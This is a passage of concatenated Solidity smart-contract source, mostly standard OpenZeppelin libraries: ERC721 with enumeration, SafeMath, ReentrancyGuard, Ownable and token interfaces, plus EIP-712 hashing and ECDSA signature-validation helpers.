http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.8.6; library LibEIP712 { // Hash of the EIP712 Domain Separator Schema // keccak256(abi.encodePacked( // "EIP712Domain(", // "string name,", // "string version,", // "uint256 chainId,", // "address verifyingContract", // ")" // )) bytes32 internal constant _EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f; /// @dev Calculates a EIP712 domain separator. /// @param name The EIP712 domain name. /// @param version The EIP712 domain version. /// @param verifyingContract The EIP712 verifying contract. /// @return result EIP712 domain separator. function hashEIP712Domain( string memory name, string memory version, uint256 chainId, address verifyingContract ) internal pure returns (bytes32 result) { bytes32 schemaHash = _EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH; // Assembly for more efficient computing: // keccak256(abi.encodePacked( // _EIP712_DOMAIN_SEPARATOR_SCHEMA_HASH, // keccak256(bytes(name)), // keccak256(bytes(version)), // chainId, // uint256(verifyingContract) // )) assembly { // Calculate hashes of dynamic data let nameHash := keccak256(add(name, 32), mload(name)) let versionHash := keccak256(add(version, 32), mload(version)) // Load free memory pointer let memPtr := mload(64) // Store params in memory mstore(memPtr, schemaHash) mstore(add(memPtr, 32), nameHash) mstore(add(memPtr, 64), versionHash) mstore(add(memPtr, 96), chainId) mstore(add(memPtr, 128), verifyingContract) // Compute hash result := keccak256(memPtr, 160) } return result; } /// @dev Calculates EIP712 encoding for a hash struct with a given domain hash. /// @param eip712DomainHash Hash of the domain domain separator data, computed /// with getDomainHash(). /// @param hashStruct The EIP712 hash struct. /// @return result EIP712 hash applied to the given EIP712 Domain. function hashEIP712Message(bytes32 eip712DomainHash, bytes32 hashStruct) internal pure returns (bytes32 result) { // Assembly for more efficient computing: // keccak256(abi.encodePacked( // EIP191_HEADER, // EIP712_DOMAIN_HASH, // hashStruct // )); assembly { // Load free memory pointer let memPtr := mload(64) mstore(memPtr, 0x1901000000000000000000000000000000000000000000000000000000000000) // EIP191 header mstore(add(memPtr, 2), eip712DomainHash) // EIP712 domain hash mstore(add(memPtr, 34), hashStruct) // Hash of struct // Compute hash result := keccak256(memPtr, 66) } return result; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.6; // solhint-disable max-line-length /** * @notice A library for validating signatures. * @dev Much of this file was taken from the LibSignature implementation found at: * https://github.com/0xProject/protocol/blob/development/contracts/zero-ex/contracts/src/features/libs/LibSignature.sol */ // solhint-enable max-line-length library LibSignature { // Exclusive upper limit on ECDSA signatures 'R' values. The valid range is // given by fig (282) of the yellow paper. uint256 private constant ECDSA_SIGNATURE_R_LIMIT = uint256(0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141); // Exclusive upper limit on ECDSA signatures 'S' values. The valid range is // given by fig (283) of the yellow paper. uint256 private constant ECDSA_SIGNATURE_S_LIMIT = ECDSA_SIGNATURE_R_LIMIT / 2 + 1; /** * @dev Retrieve the signer of a signature. Throws if the signature can't be * validated. * @param _hash The hash that was signed. * @param _signature The signature. * @return The recovered signer address. */ function getSignerOfHash(bytes32 _hash, bytes memory _signature) internal pure returns (address) { require(_signature.length == 65, "LibSignature: Signature length must be 65 bytes."); // Get the v, r, and s values from the signature. uint8 v = uint8(_signature[0]); bytes32 r; bytes32 s; assembly { r := mload(add(_signature, 0x21)) s := mload(add(_signature, 0x41)) } // Enforce the signature malleability restrictions. validateSignatureMalleabilityLimits(v, r, s); // Recover the signature without pre-hashing. address recovered = ecrecover(_hash, v, r, s); // `recovered` can be null if the signature values are out of range. require(recovered != address(0), "LibSignature: Bad signature data."); return recovered; } /** * @notice Validates the malleability limits of an ECDSA signature. * * Context: * * EIP-2 still allows signature malleability for ecrecover(). Remove * this possibility and make the signature unique. Appendix F in the * Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), * defines the valid range for r in (282): 0 < r < secp256k1n, the * valid range for s in (283): 0 < s < secp256k1n ÷ 2 + 1, and for v * in (284): v ∈ {27, 28}. Most signatures from current libraries * generate a unique signature with an s-value in the lower half order. * * If your library generates malleable signatures, such as s-values * in the upper range, calculate a new s-value with * 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 * and flip v from 27 to 28 or vice versa. If your library also * generates signatures with 0/1 for v instead 27/28, add 27 to v to * accept these malleable signatures as well. * * @param _v The v value of the signature. * @param _r The r value of the signature. * @param _s The s value of the signature. */ function validateSignatureMalleabilityLimits( uint8 _v, bytes32 _r, bytes32 _s ) private pure { // Ensure the r, s, and v are within malleability limits. Appendix F of // the Yellow Paper stipulates that all three values should be checked. require(uint256(_r) < ECDSA_SIGNATURE_R_LIMIT, "LibSignature: r parameter of signature is invalid."); require(uint256(_s) < ECDSA_SIGNATURE_S_LIMIT, "LibSignature: s parameter of signature is invalid."); require(_v == 27 || _v == 28, "LibSignature: v parameter of signature is invalid."); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721.sol"; import "./IERC721Enumerable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this 